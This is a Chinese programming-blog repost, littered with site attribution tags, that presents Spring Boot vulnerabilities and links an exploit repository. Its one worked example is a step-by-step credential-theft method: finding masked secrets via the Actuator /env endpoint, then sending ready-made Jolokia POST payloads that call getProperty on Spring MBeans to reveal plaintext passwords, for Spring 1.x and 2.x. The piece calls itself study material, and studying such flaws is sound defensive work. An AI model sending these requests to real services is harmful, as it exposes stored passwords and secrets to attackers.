智能摘要文章源自JAVA秀-https://www.javaxiu.com/34777.html
框架的初衷就是为了避免编写重复代码,也就是不要重复造轮子,将我们的专注力放在业务逻辑上。譬如SSM,SSH大家肯定是非常熟悉的,很多读者手头的项目就是基于这个框架。今天说说SpringBoot的漏洞,这还是我这两天在GitHub上面看到的,列举了目前已发现的绝大部分SpringBoot漏洞。不仅告诉你有哪些漏洞,还教你一些技巧来巧妙的利用它,仅供学习哈!有不少同学问D哥,大厂面试官到底喜欢问什么?文章源自JAVA秀-https://www.javaxiu.com/34777.html
原文约 1362 字 | 图片 15 张 | 建议阅读 3 分钟 | 评价反馈文章源自JAVA秀-https://www.javaxiu.com/34777.html
可怕!这些SpringBoot漏洞。。。
Java面试那些事儿 文章源自JAVA秀-https://www.javaxiu.com/34777.html
以下文章来源于程序员老鬼,作者老鬼文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html 文章源自JAVA秀-https://www.javaxiu.com/34777.html 程序员老鬼文章源自JAVA秀-https://www.javaxiu.com/34777.html 这里,拥有数十万的程序员,内容涵盖常用软件分享、idea教程、Mac手册、iPhone手册效率工具、实用网站等~文章源自JAVA秀-https://www.javaxiu.com/34777.html
框架的初衷就是为了避免编写重复代码,也就是不要重复造轮子,将我们的专注力放在业务逻辑上。文章源自JAVA秀-https://www.javaxiu.com/34777.html
有句话是这么说的:同样的代码写两次就是罪过。文章源自JAVA秀-https://www.javaxiu.com/34777.html
现在只要我们开发一个项目,就必定会想着应该使用什么框架更加贴合业务。譬如SSM,SSH大家肯定是非常熟悉的,很多读者手头的项目就是基于这个框架。文章源自JAVA秀-https://www.javaxiu.com/34777.html
但是,你在使用的时候,有想过这些框架是否安全吗?文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
这时候可能有读者会说:没关系,这主流框架那么多人都在用,我担心啥呀?文章源自JAVA秀-https://www.javaxiu.com/34777.html
鬼哥告诉大家,一件事物不管有多少人深信不疑,你都应该保持一定的怀疑。不要人云亦云、不要成为乌合之众,多思考点不一样的。文章源自JAVA秀-https://www.javaxiu.com/34777.html
对于我们日常开发使用的框架也是一样的,而且你清楚的知道什么都是有漏洞,漏洞一定存在,只是你没发现。文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
今天说说 SpringBoot 的漏洞,这还是我这两天在 GitHub 上面看到的,列举了目前已发现的绝大部分 SpringBoot漏洞。文章源自JAVA秀-https://www.javaxiu.com/34777.html
不仅告诉你有哪些漏洞,还教你一些技巧来巧妙的利用它,仅供学习哈!文章源自JAVA秀-https://www.javaxiu.com/34777.html
# 举个信息泄露的例子文章源自JAVA秀-https://www.javaxiu.com/34777.html
获取被星号(*) 脱敏的密码明文文章源自JAVA秀-https://www.javaxiu.com/34777.html
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果文章源自JAVA秀-https://www.javaxiu.com/34777.html
利用条件:
文章源自JAVA秀-https://www.javaxiu.com/34777.html目标网站存在 /jolokia 或 /actuator/jolokia 接口文章源自JAVA秀-https://www.javaxiu.com/34777.html
目标使用了 jolokia-core 依赖(版本要求暂未知)文章源自JAVA秀-https://www.javaxiu.com/34777.html
利用方法:
文章源自JAVA秀-https://www.javaxiu.com/34777.html步骤一:找到想要获取的属性名
文章源自JAVA秀-https://www.javaxiu.com/34777.htmlGET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。文章源自JAVA秀-https://www.javaxiu.com/34777.html
步骤二:jolokia 调用相关 Mbean 获取明文文章源自JAVA秀-https://www.javaxiu.com/34777.html
将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。文章源自JAVA秀-https://www.javaxiu.com/34777.html
调用 org.springframework.boot Mbean文章源自JAVA秀-https://www.javaxiu.com/34777.html
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法文章源自JAVA秀-https://www.javaxiu.com/34777.html
spring 1.x文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.htmlPOST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.htmlPOST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.cloud.context.environment Mbean文章源自JAVA秀-https://www.javaxiu.com/34777.html
实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法文章源自JAVA秀-https://www.javaxiu.com/34777.html
spring 1.x文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.htmlPOST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.htmlPOST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用其他 Mbean文章源自JAVA秀-https://www.javaxiu.com/34777.html
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。文章源自JAVA秀-https://www.javaxiu.com/34777.html
# 更多漏洞文章源自JAVA秀-https://www.javaxiu.com/34777.html
上面我只是列举了一个漏洞,大家看完是不是感觉自己格局打开了一些,文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
还有很多我就不列举在文章中了,大家直接去GitHub上面学习就行。文章源自JAVA秀-https://www.javaxiu.com/34777.html
文章源自JAVA秀-https://www.javaxiu.com/34777.html
GitHub链接:文章源自JAVA秀-https://www.javaxiu.com/34777.html
https://github.com/LandGrey/SpringBootVulExploit文章源自JAVA秀-https://www.javaxiu.com/34777.html
技术交流群有不少同学问D哥,大厂面试官到底喜欢问什么?想进大厂镀金。因此,D哥特意邀请了华为、腾讯、阿里的朋友进群,与大家一起交流经验,增长技术。有兴趣入群的同学,可长按扫描下方二维码,一定要备注:城市+昵称+技术方向,根据格式备注,可更快被通过且邀请进群。▲长按扫描
热门推荐文章源自JAVA秀-https://www.javaxiu.com/34777.html
16岁高中生开发的粤语编程项目,在GitHub上面火啦,网友:现在的孩子都这么厉害了吗?一文快速了解 Java 9 - 16 新特性,网友:卷不动了?实锤!科普大V回形针勾结境外势力~文章源自JAVA秀-https://www.javaxiu.com/34777.html

评论